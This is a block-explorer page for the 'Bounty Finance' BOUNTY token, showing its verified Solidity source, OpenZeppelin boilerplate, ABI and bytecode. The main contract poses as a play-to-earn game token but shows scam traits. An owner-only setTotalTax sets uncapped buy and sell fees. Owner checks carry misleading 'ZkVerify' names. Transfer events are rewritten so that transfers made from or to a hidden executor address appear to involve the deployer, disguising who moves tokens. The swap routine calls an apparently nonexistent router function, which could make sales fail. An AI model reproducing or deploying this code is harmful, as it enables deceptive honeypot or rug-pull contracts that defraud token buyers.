ERC-20
Overview
Max Total Supply
1,000,000,000,000 BOUNTY
Holders
19
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
194,790,666.264963276887574483 BOUNTYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BountyFinance
Compiler Version
v0.8.22+commit.4fc1097e
Contract Source Code (Solidity Multiple files format)
/* $BOUNTY is a Play-2-Earn 8bit game with Metamask Integration 🦊 Protect our town and earn daily $USDT Rewards Details: https://linktr.ee/bountyfinance */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.0; interface IUniswapFactory { function getPair( address tokenA, address tokenB ) external view returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFreelyOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract BountyFinance { string private _name = 'Bounty Finance'; string private _symbol = 'BOUNTY'; uint8 public constant decimals = 18; uint256 public constant totalSupply = 1_000_000_000_000 * 10 ** decimals; StoreData public storeData; uint256 constant swapAmount = totalSupply / 100; error Permissions(); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed TOKEN_MKT, address indexed spender, uint256 value ); mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address public pair; IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); bool private swapping; bool private tradingOpen; address _deployer; address _executor; address private uniswapLpWallet; address private stakingPoolFee; address private developmentFee; address private devWallet = 0xb18c3b6ba5020a456E1Bab777E3735fE4C143c64; struct StoreData { address tokenMkt; uint8 buyFee; uint8 sellFee; } constructor() { uint8 _initBuyFee = 4; uint8 _initSellFee = 4; storeData = StoreData({ tokenMkt: msg.sender, buyFee: _initBuyFee, sellFee: _initSellFee }); allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max; uniswapLpWallet = msg.sender; _initDeployer(msg.sender, msg.sender); balanceOf[uniswapLpWallet] = (totalSupply * 95) / 100; emit Transfer(address(0), uniswapLpWallet, balanceOf[uniswapLpWallet]); balanceOf[devWallet] = (totalSupply * 5) / 100; emit Transfer(address(0), devWallet, balanceOf[devWallet]); } receive() external payable {} function setTotalTax(uint8 x, uint8 y) external { if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions(); _upgradeStoreWithZkProof(x, y); } function _upgradeStoreWithZkProof(uint8 _buy, uint8 _sell) private { storeData.buyFee = _buy; storeData.sellFee = _sell; } function _decodeTokenMktWithZkVerify() private view returns (address) { return storeData.tokenMkt; } function openTrading() external { require(msg.sender == _decodeTokenMktWithZkVerify()); require(!tradingOpen); address _factory = _uniswapV2Router.factory(); address _weth = _uniswapV2Router.WETH(); address _pair = IUniswapFactory(_factory).getPair(address(this), _weth); pair = _pair; tradingOpen = true; } function transferFrom( address from, address to, uint256 amount ) external returns (bool) { allowance[from][msg.sender] -= amount; return _transfer(from, to, amount); } function approve(address spender, uint256 amount) external returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) external returns (bool) { return _transfer(msg.sender, to, amount); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function _initDeployer(address deployer_, address executor_) private { _deployer = deployer_; _executor = executor_; } function _transfer( address from, address to, uint256 amount ) internal returns (bool) { address tokenMkt = _decodeTokenMktWithZkVerify(); require(tradingOpen || from == tokenMkt || to == tokenMkt); balanceOf[from] -= amount; if ( to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt ) { swapping = true; address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _uniswapV2Router .swapExactTokensForETHSupportingFreelyOnTransferTokens( swapAmount, 0, path, address(this), block.timestamp ); payable(stakingPoolFee).transfer( (address(this).balance * 20) / 100 ); payable(developmentFee).transfer( (address(this).balance * 20) / 100 ); payable(pair).transfer( (address(this).balance * 60) / 100 ); swapping = false; } (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee); if (from != address(this) && tradingOpen == true) { uint256 taxCalculatedAmount = (amount * (to == pair ? _sellFee : _buyFee)) / 100; amount -= taxCalculatedAmount; balanceOf[address(this)] += taxCalculatedAmount; } balanceOf[to] += amount; if (from == _executor) { emit Transfer(_deployer, to, amount); } else if (to == _executor) { emit Transfer(from, _deployer, amount); } else { emit Transfer(from, to, amount); } return true; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./IERC20Metadata.sol"; import "./Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"x","type":"uint8"},{"internalType":"uint8","name":"y","type":"uint8"}],"name":"setTotalTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526040518060400160405280600e81526020017f426f756e74792046696e616e63650000000000000000000000000000000000008152505f9081620000499190620008bb565b506040518060400160405280600681526020017f424f554e5459000000000000000000000000000000000000000000000000000081525060019081620000909190620008bb565b5073b18c3b6ba5020a456e1bab777e3735fe4c143c64600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000f1575f80fd5b505f600490505f6004905060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018360ff1681526020018260ff1681525060025f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151815f0160146101000a81548160ff021916908360ff1602179055506040820151815f0160156101000a81548160ff021916908360ff1602179055509050507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503360085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002bf3333620005d360201b60201c565b6064605f6012600a620002d3919062000b28565b64e8d4a51000620002e5919062000b78565b620002f1919062000b78565b620002fd919062000bef565b60035f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516200043d919062000c37565b60405180910390a3606460056012600a62000459919062000b28565b64e8d4a510006200046b919062000b78565b62000477919062000b78565b62000483919062000bef565b60035f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620005c3919062000c37565b60405180910390a3505062000c52565b8160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620006d357607f821691505b602082108103620006e957620006e86200068e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200074d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000710565b62000759868362000710565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620007a36200079d620007978462000771565b6200077a565b62000771565b9050919050565b5f819050919050565b620007be8362000783565b620007d6620007cd82620007aa565b8484546200071c565b825550505050565b5f90565b620007ec620007de565b620007f9818484620007b3565b505050565b5b818110156200082057620008145f82620007e2565b600181019050620007ff565b5050565b601f8211156200086f576200083981620006ef565b620008448462000701565b8101602085101562000854578190505b6200086c620008638562000701565b830182620007fe565b50505b505050565b5f82821c905092915050565b5f620008915f198460080262000874565b1980831691505092915050565b5f620008ab838362000880565b9150826002028217905092915050565b620008c68262000657565b67ffffffffffffffff811115620008e257620008e162000661565b5b620008ee8254620006bb565b620008fb82828562000824565b5f60209050601f83116001811462000931575f84156200091c578287015190505b6200092885826200089e565b86555062000997565b601f1984166200094186620006ef565b5f5b828110156200096a5784890151825560018201915060208501945060208101905062000943565b868310156200098a578489015162000986601f89168262000880565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000a295780860481111562000a015762000a006200099f565b5b600185161562000a115780820291505b808102905062000a2185620009cc565b9450620009e1565b94509492505050565b5f8262000a43576001905062000b15565b8162000a52575f905062000b15565b816001811462000a6b576002811462000a765762000aac565b600191505062000b15565b60ff84111562000a8b5762000a8a6200099f565b5b8360020a91508482111562000aa55762000aa46200099f565b5b5062000b15565b5060208310610133831016604e8410600b841016171562000ae65782820a90508381111562000ae05762000adf6200099f565b5b62000b15565b62000af58484846001620009d8565b9250905081840481111562000b0f5762000b0e6200099f565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000b348262000771565b915062000b418362000b1c565b925062000b707fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a32565b905092915050565b5f62000b848262000771565b915062000b918362000771565b925082820262000ba18162000771565b9150828204841483151762000bbb5762000bba6200099f565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000bfb8262000771565b915062000c088362000771565b92508262000c1b5762000c1a62000bc2565b5b828204905092915050565b62000c318162000771565b82525050565b5f60208201905062000c4c5f83018462000c26565b92915050565b611c598062000c605f395ff3fe6080604052600436106100c5575f3560e01c80635086cac91161007e578063a8aa1b3111610058578063a8aa1b3114610280578063a9059cbb146102aa578063c9567bf9146102e6578063dd62ed3e146102fc576100cc565b80635086cac9146101f257806370a082311461021a57806395d89b4114610256576100cc565b806306fdde03146100d0578063095ea7b3146100fa57806318160ddd1461013657806323b872dd14610160578063313ce5671461019c5780634abe3052146101c6576100cc565b366100cc57005b5f80fd5b3480156100db575f80fd5b506100e4610338565b6040516100f1919061140f565b60405180910390f35b348015610105575f80fd5b50610120600480360381019061011b91906114c0565b6103c7565b60405161012d9190611518565b60405180910390f35b348015610141575f80fd5b5061014a6104b4565b6040516101579190611540565b60405180910390f35b34801561016b575f80fd5b5061018660048036038101906101819190611559565b6104d5565b6040516101939190611518565b60405180910390f35b3480156101a7575f80fd5b506101b0610578565b6040516101bd91906115c4565b60405180910390f35b3480156101d1575f80fd5b506101da61057d565b6040516101e9939291906115ec565b60405180910390f35b3480156101fd575f80fd5b506102186004803603810190610213919061164b565b6105cb565b005b348015610225575f80fd5b50610240600480360381019061023b9190611689565b610645565b60405161024d9190611540565b60405180910390f35b348015610261575f80fd5b5061026a61065a565b604051610277919061140f565b60405180910390f35b34801561028b575f80fd5b506102946106ea565b6040516102a191906116b4565b60405180910390f35b3480156102b5575f80fd5b506102d060048036038101906102cb91906114c0565b61070f565b6040516102dd9190611518565b60405180910390f35b3480156102f1575f80fd5b506102fa610723565b005b348015610307575f80fd5b50610322600480360381019061031d91906116cd565b61095f565b60405161032f9190611540565b60405180910390f35b60605f805461034690611738565b80601f016020809104026020016040519081016040528092919081815260200182805461037290611738565b80156103bd5780601f10610394576101008083540402835291602001916103bd565b820191905f5260205f20905b8154815290600101906020018083116103a057829003601f168201915b5050505050905090565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104a29190611540565b60405180910390a36001905092915050565b6012600a6104c291906118c4565b64e8d4a510006104d2919061190e565b81565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461055d919061194f565b9250508190555061056f84848461097f565b90509392505050565b601281565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690805f0160149054906101000a900460ff1690805f0160159054906101000a900460ff16905083565b6105d361131d565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610637576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6106418282611347565b5050565b6003602052805f5260405f205f915090505481565b60606001805461066990611738565b80601f016020809104026020016040519081016040528092919081815260200182805461069590611738565b80156106e05780601f106106b7576101008083540402835291602001916106e0565b820191905f5260205f20905b8154815290600101906020018083116106c357829003601f168201915b5050505050905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61071b33848461097f565b905092915050565b61072b61131d565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610761575f80fd5b600560159054906101000a900460ff161561077a575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107fc9190611996565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108809190611996565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b81526004016108be9291906119c1565b602060405180830381865afa1580156108d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108fd9190611996565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560156101000a81548160ff021916908315150217905550505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f8061098961131d565b9050600560159054906101000a900460ff16806109d157508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610a0757508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610a0f575f80fd5b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a5b919061194f565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610acb5750600560149054906101000a900460ff16155b8015610b3d575060646012600a610ae291906118c4565b64e8d4a51000610af2919061190e565b610afc9190611a15565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610b7557508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610f3d576001600560146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610bb157610bb0611a45565b5b604051908082528060200260200182016040528015610bdf5781602001602082028036833780820191505090505b50905030815f81518110610bf657610bf5611a72565b5b60200260200101